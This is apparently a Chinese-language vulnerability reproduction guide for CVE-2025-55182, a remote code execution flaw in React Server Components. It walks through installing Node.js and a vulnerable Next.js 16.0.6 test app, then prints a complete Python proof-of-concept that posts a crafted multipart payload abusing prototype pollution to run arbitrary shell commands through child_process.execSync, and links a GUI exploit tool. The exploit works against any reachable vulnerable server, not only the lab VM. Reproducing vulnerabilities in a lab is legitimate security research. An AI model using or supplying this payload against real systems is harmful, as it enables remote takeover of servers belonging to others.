React-RCS RCE（CVE-2025-55182）漏洞复现

<font color="red">全部用root用户操作</font>

# 操作系统
复现环境：Ubuntu 24.04
安装Ubuntu 24.04参考：
https://wiki.bafangwy.com/doc/858/

<font color="red">全部用root用户操作</font>

# 安装node.js
## 添加 NodeSource 仓库
`curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -`

![](/media/202512/2025-12-17_193638_2606180.2499692333927097.png)

## 安装 Node.js 20.x
`apt-get install -y nodejs`

看到这个就是成功了：
![](/media/202512/2025-12-17_193731_0962560.909428691049369.png)

# 验证版本
`node -v`

![](/media/202512/2025-12-17_193919_4629430.300076522530345.png)

## 创建一个测试项目
`npm create next-app@16.0.6 reacttest -y`

出现这个界面按回车：

![](/media/202512/2025-12-17_194222_2767540.4221555471826204.png)

看到这个就是成功了：
![](/media/202512/2025-12-17_195737_4767790.9836242612493005.png)

## 在reacttest文件夹里启动服务
```
cd reacttest
npm run dev
```

启动需要一些时间，看到这个就是成功了：
![](/media/202512/2025-12-17_200404_6431520.24507492878932602.png)

## 验证是否启动成功
访问虚拟机的3000端口
例如：
http://192.168.142.142:3000/

看到这界面就是成功了：
![](/media/202512/2025-12-17_200418_6044730.4952413379970949.png)

# python POC
修改IP：
```
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.142.142:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
```

测试结果：
![](/media/202512/2025-12-17_211344_5462970.27803803339541444.png)

GUI工具：

https://github.com/darkfiv/ReactExploitGUI